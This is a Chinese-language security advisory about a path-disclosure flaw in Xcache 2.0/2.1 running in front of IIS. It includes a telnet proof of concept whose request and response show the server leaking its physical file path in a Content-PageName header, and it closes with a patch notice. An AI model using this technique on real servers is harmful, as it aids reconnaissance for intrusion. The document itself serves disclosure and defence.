Xcache 路径泄露漏洞
发布日期:2001-09-26
更新日期:2001-09-26
受影响系统:Xcache Technologies Xcache 2.0
- Microsoft IIS 4.0
- Microsoft IIS 5.0
Xcache Technologies Xcache 2.1
- Microsoft IIS 4.0
- Microsoft IIS 5.0
描述:
BUGTRAQ ID: 3352
CVE(CAN) ID:
CAN-2001-1023
Xcache是工作在IIS前端的动态内容缓冲程序,用于提高IIS的性能。
Xcache提供了一个功能,让我们选择不缓冲哪些页面或目录。如果我们请求一个不被缓
冲的页面时,就可能导致物理路径泄露。
<*来源:(
advisories@irmplc.com)
参考:
http://archives.neohapsis.com/archives/bugtraq/2001-09/0182.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
(
advisories@irmplc.com)提供了如下测试代码:
[macavity@horus ~/work/research]$ telnet 192.168.0.21 80
Trying 192.168.0.21...
Connected to 192.168.0.21.
Escape character is '^]'.
GET /home/index.html HTTP/1.0
HTTP/1.1 200 OK
Content-PageName: D:\Inetpub\wwwroot\home\index.html
Date: Tue, 18 Sep 2001 16:08:59 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 18 Sep 2001 15:10:48 GMT
ETag: "0ccc3185440c11:925"
Content-Length: 59
Server: Microsoft-IIS/5.0 Running XCache Version (2.1.5629.1)
<HTML>
<BODY>
This is a test...
</BODY>
</HTML>
Connection closed by foreign host.
建议:
厂商补丁:
目前厂商已经发布了补丁程序,请联系support@xcache.com来获得:
http://www.xcache.com/home/xcache_xcache_overview.htm浏览次数:4043
严重程度:0(网友投票)